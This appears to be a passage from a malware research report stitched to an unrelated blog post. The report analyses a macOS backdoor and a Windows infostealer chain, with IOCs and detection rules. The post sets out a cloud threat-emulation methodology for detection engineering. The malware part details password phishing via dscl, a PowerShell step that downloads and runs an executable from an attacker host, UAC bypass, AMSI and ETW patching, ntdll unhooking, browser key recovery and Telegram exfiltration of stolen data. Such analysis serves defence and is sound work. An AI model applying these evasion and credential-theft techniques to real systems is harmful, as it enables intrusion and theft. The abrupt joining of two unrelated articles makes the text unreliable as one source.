Here, K is a fixed 32-byte table embedded in the binary and shared by every string, and seed is a per-string key byte, either stored with the ciphertext (CTEnc<N>) or passed as an argument (sobf::reveal).

Below is the Python implementation of the string decryption algorithm:

The malware kicks off by presenting an authorization dialog that requests the user's password for administrator access. The password is validated using Directory Services with this command line: /usr/bin/dscl /Local/Default -authonly <username> <password>.

After successful validation, the password is stored in a global variable and written to ~/.config/cloudsync/data.json. This password launches the embedded payload with sudo privileges. During this time, the embedded payload is executed in the background, while a decoy message is presented to the user, masked as an error message: "Shared library version mismatch. The version of the shared library on the system does not match the version which was expected."

CloudSyncD second stage: Host discovery and C2 tasking

The main payload portion of CloudSyncD, also referred to by the developer as the gate, performs host discovery by querying system information and sending it to the C2 on the first outbound request. It obtains the Mac's IOPlatformUUID by querying IOPlatformExpertDevice and uses this value as the hwid to uniquely identify victim machines. 

Next, the malware collects the following hardware and operating-system details using system queries:

• CPU name via machdep.cpu.brand_string

• CPU count via hw.ncpu

• Physical RAM via hw.memsize

• Hardware model identifier via hw.model

• Darwin kernel version via kern.osrelease

• Username 

• Machine name via gethostname()

• MAC address via getifaddrs()

This is followed by CloudSyncD issuing the following ioreg command to collect broader system details:

/usr/sbin/ioreg -rd1 -c IOPlatformExpertDevice 2>/dev/null

Afterward, CloudSyncD combines these two datasets with their collected fields into JSON, which is encrypted using ChaCha and then encoded with Base64 and sent out to the following URL in a POST request:

hxxps://ccmihr[.]com/macos/jquery.js The C2 responds with JSON containing a field named task, and the implant handles it in seven steps:

1. Reads the task field from the server’s JSON response.

2. Identifies whether the task contains a raw Mach-O executable or as a gzip-compressed package.

3. For the gzip route, the malware writes the decrypted data to p.tgz, extracts it with /usr/bin/tar, and searches the extracted directory for bin/appd or bin/cloudsyncd. A raw Mach-O task will skip this step.

4. Checks the executable’s Mach-O signature.

5. Attempts execution through a temporary file exposed as /dev/fd/<number>.

6. If that fails, writes a hidden executable named .t_XXXXXX.

7. Launches the hidden executable with sudo, falling back to a direct launch if spawning sudo fails.

During our analysis, we didn’t observe the C2 server providing any additional payloads.

Below is the configuration obtained from the sample: 

Setting

Value

C2 server

hxxps://ccmihr[.]com/macos/jquery.js

Install directory

~/.local/share/cloudsync/

Payload name

appd

Daemon name

cloudsyncd

Masquerade name

cloudsyncd

Log

~/.local/share/cloudsync/.config/logs/sync.err

The Windows infostealer chain, stage by stage

Initial execution

Following the direct command-retrieval path, the malware submits a POST request with the body {"p":"win32"} to hxxps://vrf.apexaccs[.]org/api/v1/vrf to retrieve a Base64-encoded PowerShell command:

The decoded command constructs the endpoint 0auth-chromium[.]com/APIService and attempts to retrieve and execute its response. The response is a PowerShell script named drop.ps1, which downloads an executable from https://ehegisnightmare[.]icu/build/nTOugj-fWWMurYHg/bludness.exe and launches it in a hidden window: 

Python first-stage loader and UAC bypass

The executable delivered (bludness.exe) contains a PyInstaller-packaged Python loader that adds another download-and-execute step. However, an exception dialog shows a start-up failure caused by a missing Python dependency, suggesting a PyInstaller packaging issue. During our analysis, the loader stopped before it could invoke the next stage:

Using tools like PyInstaller Extractor and PyLingual, we recovered and examined the embedded loader.py module. On a normal launch, the loader calls shell32.IsUserAnAdmin to check whether it already has administrator privileges. If so, it leaves a unique marker at %APPDATA%\.cobra and proceeds to the routine responsible for downloading and launching the next stage at hxxps://ehegisnightmare[.]icu/build/J2BkQFArlBUXf4MF/install.exe. The loader saves this payload as %TEMP%\exegis.exe.

Otherwise, it invokes a Python reimplementation of UACME's ucmDebugObjectMethod (based on James Forshaw's Project Zero research). The loader sends a direct remote procedure call (RPC) request to the Windows AppInfo service to create a non-elevated winver.exe process under debugging and then captures a handle to its debug object. After detaching and terminating winver.exe, it sends another RPC request asking AppInfo to create an elevated computerdefaults.exe process under debugging. When both requests are handled by the same AppInfo worker thread, the service reuses the debug object, allowing the loader to receive debugging events for the elevated process. The loader then obtains a privileged process handle through those events and uses it to select computerdefaults.exe as the parent of a new loader instance launched with --elevated

If the technique fails, the loader falls back to requesting elevation through ShellExecuteW with the runas verb, which triggers a UAC prompt. The --elevated argument directs the relaunched instance straight into the download routine.

Python second-stage loader and anti-virtual-machine (anti-VM) checks

The next stage, install.exe / exegis.exe, is another PyInstaller executable containing a Pyarmor-protected application entry point, which can be unpacked through open source tools. The recovered logic in install.pyc shows that it loads 15 environment-blocklist resources (these lists are accessible through public GitHub repos) and calls a user-defined CheckVirtual function before decrypting its packaged payload. The checks examine user and computer environment values, running processes, hardware identifiers, manufacturer information, MAC addresses, platform information, and public IP data:

After passing the checks, it uses an embedded Fernet key to decrypt a filename token, which resolves to loader.exe. It then uses that name to locate the bundled resource enc_loader.exe. Despite the executable extension, this resource remains plain encrypted data. The loader decrypts its contents using the same key and writes the resulting executable to %TEMP%\updater_loader.exe. It launches it through subprocess.run().

Golang loader

updater_loader.exe is a Golang loader responsible for loading the next-stage shellcode into its own memory. It tries to unhook ntdll.dll by restoring it from a suspended Notepad process, attempts Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW) patching, decrypts the next stage, and supplies an executable allocation as an EnumPageFilesW callback.

The loader first attempts to hide its console and then launches notepad.exe in a suspended state. It then locates the .text section of ntdll.dll from the suspended process and copies it over to its own process using ReadProcessMemory and WriteProcessMemory. The assumption is that the newly created, suspended process contains a cleaner copy of ntdll.dll, where user-mode endpoint detection and response (EDR) hooks might not have been present.

The loader scans AmsiOpenSession for a conditional-branch byte and attempts to invert it. However, an address-calculation bug causes the patch to overwrite part of the function's initial instruction instead, corrupting its control flow. This demonstrates AMSI tampering but isn’t a reliable bypass:

Similarly, for ETW tampering, the loader targets five exports in ntdll.dll: EtwEventWrite, EtwEventWriteEx, EtwEventWriteFull, EtwEventWriteString, and EtwEventWriteTransfer. It uses WriteProcessMemory to attempt to overwrite each function's first four bytes with 48 33 C0 C3 (xor rax, rax; ret). This sequence is intended to make the functions immediately return zero upon invocation:

Then the loader decrypts an embedded, hex-encoded shellcode using AES-256-CBC with an embedded key and initialization vector (IV). After decryption, it calls ZwAllocateVirtualMemory to reserve and commit read/write memory in its own process. It copies the decrypted buffer using NtWriteVirtualMemory and requests execute/read protection through ZwProtectVirtualMemory. It passes the allocation's address to EnumPageFilesW as its callback. This provides an in-process execution path without explicitly creating a separate payload thread:

Final stage: Information stealer

The DonutLoader-shaped shellcode deploys a native information stealer. The executable adds a protection layer that rearranges its main code region into 16-byte blocks, while a small restoration stub remains intact at the entry point: 

How the block-shuffle protection restores itself

In our analyzed sample, the protected region begins at the start of the .text section at 0x140001000 and extends to 0x140224940, which is the start of the recovery stub and is the last function in the .text section. This covers about 140,180 blocks. The blocks don’t necessarily align with instructions or function boundaries, therefore producing misleading disassembly that hinders static analysis.

The entry/recovery stub reconstructs the code through the following sequence:

1. Locate the protected region:

A call $+5/pop sequence obtains the stub's current address. The code then calculates the protected region's location (0x140001000) relative to that address.

2. Derive the permutation seed:

The stub computes a 64-bit FNV-1a hash over its first 15 bytes and bytes 23–244 (end of the stub). The eight bytes at offsets 15–22 are excluded because they contain an encoded seed. XORing the encoded seed with the calculated hash produces the linear congruential generator's initial state to be used in step 3:

This ties correct restoration to the stub's exact bytes: modifying a hashed instruction changes the recovered seed. This also means that setting a software breakpoint anywhere in the stub results in an incorrect restoration at runtime.

3. Advance to the end of the generator sequence:

The stub initializes a deterministic 64-bit number generator with the recovered seed. Each update multiplies the current state by A (0xF7A874C6B9DE43D5), adds C (0xE0ED02C1BBE35BB7), and retains only the lowest 64 bits. It performs 140,179 updates to reach the state needed to begin reversing the block-shuffle sequence, since the restoration loop must traverse the generator's states backward:

4. Restore the original block order:  

Starting with block 1, the stub takes the generator state's upper 31 bits and reduces that value to an index between zero and the current block number. It then exchanges the two 16-byte blocks.

After each iteration, the generator moves backward by subtracting the original increment and multiplying by the inverse constant, A_inverse (0xF40FBF0EDD42DD7D), again retaining only the lowest 64 bits. The stub continues through the remaining blocks, reconstructing the original code order. Iterations that select the current block leave its contents unchanged but still update the generator:

How the stealer checks for a prior infection

The infostealer initializes the Component Object Model (COM) and hides and releases its console. It then creates five randomly named mutexes. These mutexes aren’t used as a stable single-instance check. Instead, the malware checks a marker at%APPDATA%\.cobra before proceeding. An existing marker file causes an early exit; if it’s absent, this stage attempts to create it and continues. Because the preceding first-stage Python loader uses the same path, a retained marker under the same user profile can suppress the native stage. The marker's presence therefore doesn’t establish that the infostealer completed its work:

What data the information stealer collects

When the marker check permits execution, the application gathers system information, clipboard text, process listings, Wi-Fi profile names, and a screenshot. Additional dispatchers target wallets and browser extensions, messengers, remote-access and file transfer protocol (FTP) applications, virtual private network (VPN) clients, browsers, and game clients.

Verified AI-client collection paths include:

• %APPDATA%\Claude\config.json

• %APPDATA%\Cursor\User\storage.json

• %APPDATA%\Cursor\User\settings.json

• %APPDATA%\Windsurf\.env

• %APPDATA%\Windsurf\auth.json

The corresponding archive entries are placed under Network Protocol Clients/MCP/. The file-reading helper checks for a complete read and skips empty files or reported sizes above 50 MiB. 

A generic file collector separately targets Desktop, Documents, Downloads, Pictures, and Videos.

How Chrome App-Bound Encryption is handled

The malware includes collectors for Chrome, Edge, Firefox, and Yandex. The Chrome branch implements a multistage process to recover protected browser keys and read profile databases. It also extracts saved passwords, session cookies, browsing history, download records, and profile metadata.

Before it can reach the key material, the collector performs four privilege-related operations:

• Enumerate browser data directories under C:\Users.

• Enable SeDebugPrivilege, SeBackupPrivilege, and SeRestorePrivilege. These requests activate privileges already present in the process token and don’t independently grant administrative access.

• Duplicate a SYSTEM-context impersonation token from lsass.exe or winlogon.exe.

• Search running processes for a token belonging to the browser profile’s owner, using token information and SID-to-account lookup to identify a matching user.

The collector then reads app_bound_encrypted_key from Chrome's Local State file and Base64-decodes the value. It removes its leading APPB prefix. Then it attempts to unwrap the outer data protection application programming interface (DPAPI) protection under SYSTEM impersonation and, where another DPAPI-protected layer remains, switches to the corresponding user context for a second CryptUnprotectData operation. This distinction matters because filesystem access alone doesn’t provide the user-specific key material needed for DPAPI decryption.

The system processes the resulting key envelope according to its format selector. Implemented variants are as follows:

Selector

Implemented handling

1

AES-GCM unwrap using an embedded 32-byte constant B31C6E241AC846728DA9C1FAC4936651CFFB944D143AB816276BCC6DA0284787

2

ChaCha20-Poly1305 unwrap using another embedded 32-byte constant E98F37D7F4E1FA433D19304DC2258042090E2D1D7EEA7670D41F738D08729660

3

Unwrap an additional key component through NCrypt, XOR the result with an embedded mask CCF8A1CEC56605B8517552BA1A2D061C03A29E90274FB2FCF59BA4B75C392390, and then use AES-GCM

For variant 3, it attempts to open Google Chromekey1 through the Microsoft Software KSP and to unwrap the supplied encrypted component using NCryptDecrypt. If it fails, it tries five hard-coded key names: Microsoft Edgekey1, Microsoft Edge, Edge, Google Chromekey1, and Chrome. If these attempts fail, the helper enumerates keys exposed by the same provider under the impersonated context. It attempts decryption with each candidate that it successfully opens and returns the first successful result.

For browser database access, the collector first attempts ordinary reads of browser databases. It also prepares Volume Shadow Copy Service operations and uses the resulting snapshot path as a fallback when normal reads fail. It loads database bytes into an in-memory SQLite database for querying. With database access and the decrypted browser key, it can then decrypt data from Login Data and Network\Cookies.

Data exfiltration through Telegram

The infostealer uses two separate Telegram configurations, where bot tokens are recovered from embedded data using XOR with 0xAA:

Purpose

API stack

Bot ID

Destination chat

Start-up notification

WinHTTP /sendMessage

7245263938

-1002808379519

Zip exfiltration

WinINet /sendDocument

8298433231

-1004302192071

The tool places collected data into categorized folders before archiving and exfiltration: System, Media, Files, browsers, Network Protocol Clients/MCP, servers, Questionable, and Games. 

The following example shows Telegram output captured during a contained execution of the information stealer:

The unused Dropbox payload path

The infostealer also contains a Dropbox download-and-execute path set to hxxps://www.dropbox[.]com/scl/fi/tbxu5vgr9l1vuw3s7rw7v/VisualStudioSetup.exe?rlkey=o6dpwfynneuxeyok7g5trtv96&st=nj5jxsoe&dl=1. It saves the response as %TEMP%\visual.exe and attempts to launch it with no-console settings. It schedules deletion after 60 seconds. However, this appears to be a validly signed Microsoft Visual Studio 2022 Community installer bootstrapper, likely used as a front. 

REF8801 and MITRE ATT&CK

Elastic uses the MITRE ATT&CK (v19) framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique; it’s the adversary's tactical goal, the reason for performing an action:

• Collection

• Command and Control

• Credential Access

• Defense Impairment

• Discovery

• Execution

• Exfiltration

• Privilege Escalation

• Resource Development

• Stealth

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action:

• Abuse Elevation Control Mechanism

• Access Token Manipulation: Parent PID Spoofing

• Access Token Manipulation: Token Impersonation/Theft

• Archive Collected Data

• Browser Information Discovery

• Clipboard Data

• Command and Scripting Interpreter

• Credentials from Password Stores: Credentials from Web Browsers

• Data Encoding: Standard Encoding

• Data from Local System

• Deobfuscate/Decode Files or Information

• Disable or Modify Tools

• Encrypted Channel: Symmetric Cryptography

• Exfiltration Over Web Service

• File and Directory Discovery

• Hide Artifacts: Hidden Files and Directories

• Hide Artifacts: Hidden Window

• Indicator Removal: File Deletion

• Ingress Tool Transfer

• Input Capture: GUI Input Capture

• Masquerading

• Modify Registry

• Native API

• Obfuscated Files or Information

• Process Discovery

• Reflective Code Loading

• Screen Capture

• Social Engineering

• Stage Capabilities: Upload Malware

• Steal Web Session Cookie

• System Information Discovery

• System Network Configuration Discovery

• System Owner/User Discovery

• Virtualization/Sandbox Evasion: System Checks

Detecting and preventing REF8801

Detection and prevention rules

The following endpoint prevention and detection rules address behaviors associated with REF8801:

• AMSI Bypass from Suspicious Module

• AMSI Bypass via Unbacked Memory

• AMSI or WLDP Bypass via Memory Patching

• Connection to WebService by an Unsigned Binary

• Curl Download Activity from npm Package Install

• DNS Query to Suspicious Top Level Domain

• Evasion via Event Tracing for Windows Patching

• Execution of a Windows Script File Written by a Suspicious Process

• External IP Address Discovery via Untrusted Program

• Hollow Image Behavior via Native API

• Native API Call from Unsigned Module

• NTDLL Memory Protection Change via Unsigned DLL

• Potential Browser Information Discovery

• Suspicious Access to Web Browser Credential Stores

• Suspicious PowerShell Base64 Decoding

• Suspicious PowerShell Execution via Windows Scripts

• Suspicious PowerShell from npm Package Install

• Suspicious Windows Core Module Change

• VirtualAlloc API Call from an Unsigned DLL

• Web Browser Credential Access via Unsigned Process

Observables and indicators of compromise

This research discusses the following observables:

Observable

Type

Name

Reference

985829083f3937df6c82419216f7697afae0caac8efca6257a756066fe2c0abb

SHA-256

apex-windows-x64.exe

Windows Bun executable containing the coding agent and verification bootstrap

5ee7145061f05779f7f6f9b72e216713d17d53e183a92f408bfbbc44f2bfb95d

SHA-256

apex-audit-windows-x64.exe

Windows Bun executable containing the audit application and verification bootstrap

42a760b15fea7c9af718ee45386c1c3ea1bec9e30c95d16c287bcc8b2efdc72e

SHA-256

apex-darwin-arm64

macOS ARM64 Bun executable

127ae4cad80b6605157ca2a1feada8a235e16aacc5d2119337a98115a4e13274

SHA-256

apex-verify-darwin

macOS Rust executable that retrieves and launches verification commands

20f0a401676292d4ae34932e61f34afa97bcfc47ee517cda2afeb7222264a193

SHA-256

apex-audit-darwin-arm64

macOS ARM64 Bun executable

a50cdb508d13884630945a98eea0615b866d938eb0a16c5d958e6c8c181a6df8

SHA-256

apex-audit-verify-darwin

macOS Rust executable that retrieves and launches verification commands

68f5a00eafa8ecebf5d93328e0fec23b24d6f91808c8384db002946a13656c71

SHA-256

installer

CloudSyncD

ee8cd9aba420f1b26b5d43e5bcdd6025a277b4946bb5daf76ab45c0e5f7ecd0b

SHA-256

exegis.exe

Python second-stage loader

ed5cb4af1d2cb067b8d23783ebf05d70278728462ba4f1bf29da0a3a41efc35e

SHA-256

enc_loader.exe

Encrypted third-stage, decrypted by second-stage Python loader

apexaccs[.]org

domain-name

Apex Accelerator home page

arena.apexaccs[.]org

domain-name

Onboarding portal, attacker-controlled LLM API, remote MCP service

token.apexaccs[.]org

domain-name

In-person invitation website

vrf.apexaccs[.]org

domain-name

Bootstrap verification domain

arena.apexfdn[.]xyz

domain-name

Earlier onboarding portal documented by SafeDep

verify.apexfdn[.]xyz

domain-name

Hosts macOS installer script and archive containing the CloudSyncD dropper

ccmihr[.]com

domain-name

CloudSyncD C2

0auth-chromium[.]com

domain-name

Serves the PowerShell delivery script

ehegisnightmare[.]icu

domain-name

Hosts the first- and second-stage Python loader executables

arenapex[.]cloud

domain-name

Script-download host in the earliest preserved @apexacc/cli bootstrap

cloudmain365duo[.]top

domain-name

Replacement script-download host concealed using XOR

fdn4apex[.]com

domain-name

Later script-download host concealed using XOR and Base64 encoding

main.router-apex[.]com

domain-name

Hosts updater.sh referenced by the earlier Rust verification helper

update.apex-arena-router[.]com

domain-name

Hosts loader.sh used by the main executable's --run-verify path

References

• @copilot-mcp/apex: A macOS Infostealer Re-Published on npm After Takedown

• CloudSyncD: a two-stage macOS backdoor that hides a phished password in zero-width Unicode

Cloud threat emulation is not firing an API call and calling it done. Public practice already says the quiet part out loud. Intelligence-driven impersonation of real adversary TTPs, in a controlled environment, to test and improve defenses;. The MITRE Center for Threat-Informed Defense Adversary Emulation Library is a clear expression of that plan-first shape. We build on similar pillars, then alter the approach for cloud detection engineering: scope in layers, threat model, execute, verify telemetry, and tear down clean.

In cloud, SaaS, and identity environments, that same discipline matters even more. There is often no malware sample, sandbox, or incident artifact to replay. You research the behavior. Threat models it all, including the victim’s environment. You provision the right resources and identities, execute, and capture the telemetry. Then you ask the only question that matters for detection engineering: "Is this data actually useful for detection?”

Endpoint atomic testing can get away with a host and a payload. Cloud threat emulation for detection engineering cannot. Identities, control-plane APIs, eventual consistency, and logging that ships half-off change what “reproducing the behavior” even means. That is the so what. Cloud threat emulation/detection engineering (TE/DE) needs its own approach, not a port of the endpoint habit.

Plenty of tooling helps you perform the nefarious bits, whether or not it cleanly mimics a red team or a named adversary. Stratus Red Team, Atomic Red Team, CloudGoat, ROADTools, Splunk ATT&CK Range, and a pile of homegrown scripts all get used that way. Anyone who has done this work knows how much planning and testing, and cleanup still sits around the detonation itself. Cloud detection is also not "call an API, alert on that API." That is a fast path to noise and the principal detection engineer’s office. IAM context, prerequisites, expected outcomes, and realistic execution all matter. Poor emulation produces poor data. Poor data produces poor detections.

A daily note from us to you:

This post is Part 1 of our cloud threat emulation series: our cloud-focused take on that methodology, built on public threat-emulation pillars and altered where cloud and detection engineering force different habits. Part 2 will cover agents, skills, and AI executing it in practice. We know boring stuff first sucks. Do it anyway. Context and breakdown come before an ambitious agent gets anywhere useful.

What cloud threat emulation actually requires

• Emulation is plan-first: objectives, threat model, victim model, operational flow, then execution.

• Scope in layers: atomic, micro, or full; same lifecycle, different depth.

• Start from a compromised identity. Admin sessions and out-of-order API calls produce pretty demos and bad detection data.

• Telemetry and coverage are outputs that you verify, not assumptions that you write rules against.

• Automation can remove repetitive work. Engineers still own realism and assumptions, in addition to whether a detection is worth shipping.

Where practice usually stalls

In theory it's a short loop: research, plan, run, observe, and improve. Center for Threat-Informed Defense (CTID) plans, atomic tests, and report-derived flows all say that. In cloud the middle gets fuzzy.

Starting point varies. Off-the-shelf tool aimed at a tenant, colorful CLI, cool ASCII art, done. Or a tool that scaffolds infra and chains toward a micro or full plan. Or last quarter's script, half-finished Terraform, manual CLI after a report. The shapes differ, but the stall is the same. Most of the day is still spent on victim and threat modeling, then proving the result was useful for detection.

Tools that stop at detonation leave you with an attack fired off and not enough said about what landed in the logs, whether logging was on. They also don’t tell you whether the behavior is detectable. And that is after the tedious part. A break-glass account, the right compromised identity, assumed network settings from thin blogs, data worth stealing, logging actually configured. A tool might spare you some clicking. It rarely spares you proper planning. Don't get us started on virtual networks where resources talk to each other…successfully.

Then the attack, and it lasts about four minutes. The field name isn't what you remembered, and the coverage board still looks green. Then the detection question arrives with the batteries already flat.

Public practice isn't wrong. Cloud detection engineering just needs the same plan-first discipline that public practice uses, plus extras cloud makes non-optional: victim realism, threat modeling, IAM progression, telemetry verification, coverage triage, and cleanup that can fail closed. Without it, your emulations will either lack actual meaning/context or be in-accurate to the intended behavior you want to capture telemetry for.

A cloud threat emulation methodology

We try to treat useful cloud emulation as one lifecycle:

1. Define the objective and scope (atomic, micro, or full).

2. Research and threat-model the behavior.

3. Model the victim environment and starting IAM.

4. Build the operational flow.

5. Provision a controlled lab.

6. Execute with context.

7. Verify telemetry against real events.

8. Evaluate detection coverage.

9. Document assumptions and findings.

10. Clean up completely, and then repeat

The cloud-specific work is making the threat and victim modeling, IAM, environment, telemetry, and teardown first-class instead of afterthoughts.

Treat it as a state machine, not a vibe. You cannot execute what you have not deployed. You should not redeploy on top of a half-dead environment. Cleanup has to handle both planned infrastructure and attacker-created leftovers (orphaned resources). After cleanup, redeployment is always valid. Skipping states is how labs get contaminated and findings get soft. Then your telemetry analysis becomes a cauldron of alphanumeric spaghettios with no clear distinction between overlapping emulations.

Start with the question and the scope

Not every emulation starts the same way. Pick the question, then pick the depth:

Mode

Question

Typical input

Intelligence-driven

Can we reproduce behavior described in public research or a CTID-style plan?

Blog, advisory, campaign report, emulation plan

Rule-driven

Does an existing rule actually fire on the intended behavior?

Detection rule TOML / query

Coverage-driven

Which known techniques do we not currently detect?

ATT&CK or data-source gap

Hypothesis-driven

Could an adversary realistically abuse this service or permission?

Threat model of a service / IAM pattern

We prefer to think in three layers of scope:

• Atomic: quick and dirty. One technique, one clear signal question.

• Micro: more planned. Still missing a larger scope, but it can pull in other resources, especially when chaining one or two behaviors (for example discover > stage > exfil).

• Full: larger scope. End-to-end at times, and it can cover multiple planes and surfaces.

Public libraries map onto this in different ways. Atomic Red Team lives mostly in the first layer, while CTID micro and full plans sit in the other two. We use the three-layer split because it matches how we actually scope cloud work, not because one repo owns the vocabulary.

What changes is the source material and how wide you cast the net; the rest of the lifecycle doesn’t change. Keep it tool-agnostic. The plan is the product, and the tool is optional scaffolding.

Intelligence-driven work should stay faithful to the source. Don’t invent victim details that make the demo easier. Rule-driven work is different. The rule tells you API actions and fields, but you often infer identity type, permissions, and environment. Flag those assumptions. Hypothesis-driven work is where judgment matters most. Model what a real adversary would do, almost always from a stolen identity or compromised instance, not portal clicks. All of this is operations-plane API work.

Model the threat and the environment first

How hard this section is depends on scope.

An atomic run of a red-teamer proof of concept (PoC) is often behavior-driven so one technique, one signal question, thin environment. You still need a plan, but you are not rebuilding a hybrid enterprise to prove CreateAccessKey lands in CloudTrail.

A micro or full run is different. CTID-style plans, and intelligence-driven writeups of long compromises, force threat modeling and victim accuracy to carry the exercise. If Microsoft or another shop publishes end-to-end research across hybrid Windows, Entra, AD, and M365, skipping environment fidelity is how you get a demo that fires APIs and teaches you almost nothing about detection. The larger the scope, the more variables matter, and the less you can cheat with a god-mode principal that can do everything from step one.

Before executing anything, answer the planning questions:

• What is the adversary attempting to achieve?

• What does the source actually describe (and what is it silent on)?

• What resources and controls exist in the victim environment?

• What access path is available at the start, and what has to be earned later?

• What assumptions are we making about the scenario?

• Would each action realistically succeed here, or only in a cartoon lab?

Technically valid commands can still produce unrealistic emulations when the threat model and victim model do not match such as wrong foothold, wrong permissions, wrong resources, wrong controls, wrong network path.

Access path is one piece of that model, not the whole model. Micro and full runs usually start from a foothold the scenario allows, not a blank admin session:

Foothold type

What it models

Stolen long-term credentials

IAM user keys, service principal secrets, service account keys

Assumed / escalated role

STS assumed role, managed identity, IRSA

Compromised compute

EC2 instance profile, GKE pod SA, Azure VM managed identity

Do not treat the ATT&CK ladder as a script you recite once either. Micro and full emulations are rarely a clean Discovery > Credential Access > Persistence > Escalation > Objectives parade. Tactics repeat, behaviors loop and when something fails, the operator adjusts, and the next move is opportunistic. That is the hard part, and it is also where the useful telemetry lives.

End-to-end work makes the dependency problem obvious. You cannot jump to the sexy stage with full admin to everything. Certain steps have to complete, produce an artifact, and unlock the next one. It is not always glamorous. Land on an EC2 instance, enumerate the host, pull the instance role, discover the security group, open egress for a callback port, then move. Failures are part of the model too. A denied call, a missing permission, a control that blocks the path. Real adversaries change the toolset and plan when that happens. Your emulation should too, instead of quietly attaching AdministratorAccess so the blog screenshot stays pretty.

Use only what that stage would have. Do not grant the initial foothold full admin unless the scenario models that. Do not reach for your admin session because it is already open. Same goes for rolling virtual networks with 0.0.0.0/0 everywhere. It is not realistic. Don't do it. At least we hope it is not realistic. If you like to play in traffic, that is on you.

Build a controlled, reproducible lab

Before any apply, stop for approval. Present the objective, threat model, victim model, identity model, operational flow, infrastructure needs, and a cost estimate if compute or metered services are involved. That is the cloud version of scope, rules of engagement, and permission to execute. We hope you are not a one-person team so feel free to phone-a-friend for a second set of eyes.

Keep the lab disposable on purpose:

• Fully owned research tenants / accounts

• Consistent provisioning (IaC, frameworks, or scripts)

• Admin setup separated from adversary execution

• Dedicated identities and resources per run

• Everything tracked, including attacker-created leftovers

• Easy redeploy, complete destroy

A practical habit is to give every run a unique emulation tag (name + short random id, e.g. void-blizzard-a3f8c1) and put it in resource names, identities, session names, and labels. Not the star of the methodology. Useful for keeping concurrent runs from colliding, pulling the right slice of telemetry when races get messy, and finding orphaned leftovers during cleanup.

When you do filter later (assuming you already spent time setting up the ingestion), a query can be as simple as:

That only works if the tag is actually in the ARN string (user name, role name, or STS session name). A resource tag alone will not show up there.

On Azure, resource-group (RG) naming helps for Activity Logs. Identity-plane work still needs sign-in and audit telemetry too. Do not pretend one RG filter covers Entra.

Track two resource classes:

1. Provisioned by Terraform/Ansible. In state. Destroyed with terraform destroy.

2. Orphaned during execution (backdoor users, keys, topics, role assignments). Not in state. Cleaned up first.

Always destroy orphans before provisioned resources. Scope Azure work to one resource group per run. Force-destroy storage. Restrict compute inbound access to the engineer’s IP. Never 0.0.0.0/0 "just for the lab."

We REALLY want to caution orphaned resources on this, especially as we leverage LLMs. Nothing like an expensive AWS bill as a result of unstaged Kubernetes pods or an unpatched Apache Tomcat server which is now part of a crypto-campaign, rather than your emulation efforts.

Execute with context, then trust only the real events

The plan is only as good as the way you run it. You can fire a technique's exact commands and still get an emulation that does not teach you much. Context decides whether it is useful, and it starts upfront with threat modeling and planning. Vague steps produce vague telemetry. Contextual steps produce events you can actually detect against.

Vague: Initial access via user logging in.

Contextual: User opens a link to login.microsoftonline.com, reaches the portal in a browser, attempts login, and hits MFA with Entra ID as the IdP. They are instructed to share the MFA auth code over Teams. MFA is approved. No Conditional Access policies are broken. The adversary takes the auth code and exchanges it with Entra for a refresh token.

Vague: Exfiltrate data from S3.

Contextual: Foothold is an EC2 instance profile for a batch job, not an admin console session. The role can ListBucket / GetObject on prod-analytics. Objects are server‑side encryption with AWS Key Management Service (SSE-KMS), and the role has kms:Decrypt on that customer managed key (CMK). Copy to a same-account staging prefix first, then PutObject to an external bucket the role was mistakenly granted. CloudTrail data events are on for that bucket. Management events alone would miss the GetObject volume that makes the behavior visible.

Write the contextual version into the operational flow before you touch a CLI. Call, actor, target, expected result, and what should land in logs. Keep the failures too. A denied permission during recon is often the exact trace a detection should chase.

Cloud timing matters too. IAM is eventually consistent. Fixed sleep 30 makes flaky runs. Poll for new credentials. Use provider waiters. Give logs a settle window before you declare telemetry missing. When you get into the nuances of timing for query language sake, it can be challenging to not only understand but recreate acceptable historic windows.

Treat telemetry as an output of the emulation

Do not assume what the cloud recorded. Verify it.

Before you detonate, decide which log should capture each step and confirm it is on. A lot of data-access logging ships off. Then open the real events raw. The real event beats the docs, your memory and an engineer who built the schema normalization layer several years ago but took a competitor’s offer and left little documentation. Memory invents field names. A rule written against a name that is almost right never fires. A model does the same thing and sounds more sure of itself.

Look for what is missing too: late, partial, or absent telemetry. Sometimes the technique leaves no useful trace. That is a finding! Knowing something is invisible is worth as much as detecting it. Last check should be “does this data distinguish the attacker from normal activity?”

Evaluate coverage against the exercise, not the matrix

An ATT&CK board that is all green is reassuring and often misleading. It counts rules by name and mapping, not by what they do against this telemetry.

Throw the exercise's events at your rules and look at what fires and why:

1. Rule fires for the right reason. Good.

2. Rule fires on a different link in the chain. Less good.

3. A different rule fires by accident and dies if one detail changes. Weak.

4. A perfectly named, perfectly mapped rule whose query never touches this telemetry. Inventory coverage. Incident silence.

Then decide the next move. Should you create a new rule, tune, request a missing log, hunt, or investigate more before changing anything. Having a rule per action is not the same thing as reliable detection. Whoever gets that alert at three in the morning also cares about what it does not cover.

Document, clean up, and make it repeatable

You can regenerate a command tomorrow. The reasoning does not come back unless you wrote it down.

Capture why that behavior, how you modeled the victim, which identity did what, what worked, what failed, what telemetry appeared, what coverage existed, and what is still open. Assumptions are the part you will need later. When a rule gets noisy, somebody asks what "normal" meant when you wrote it. If nobody wrote that down, the comfortable move is to raise the threshold until it goes quiet. Date environmental claims. Commands age. Reasoning is what you reuse.

A useful write-up looks like a short engagement report, not a command diary:

• Objective, scope, and source material

• Threat model and ATT&CK mapping

• Victim model and assumptions

• Operational flow / timeline (action, API call, identity, result)

• Observations and credential progression

• Detection opportunities and coverage outcomes

• Infrastructure summary and cleanup status

• Recommendations (new rule, tune, hunt, follow-up emulation)

Cleanup is part of the methodology, not housekeeping. Leftovers can contaminate the next run. Infrastructure in code comes down easily. Attacker-created roles, keys, and grants do not unless you tracked them. Temporary credentials can outlive the role that issued them. Logging you enabled for the exercise has to come back off. Verify by tag, and make sure that check can fail. Keep the plan and the findings. Delete the rest. Worse, you half-ass an emulation with no care about public exposure and security posture, then have to join a call with IR to explain what the purpose of this rogue access point was. Saying “my bad” won’t save you.

Where automation helps, and where judgment stays

This is usually the part people skip to. Which is fair. Once the methodology is clear, a lot of the work is repetitive.

Automation (including agents and skills) can help with drafting threat and victim models from a report, rule, or plan; provisioning and tagging; executing with the right identity; tracking orphans; verifying telemetry against real events; searching coverage; writing up the run; and verifying cleanup.

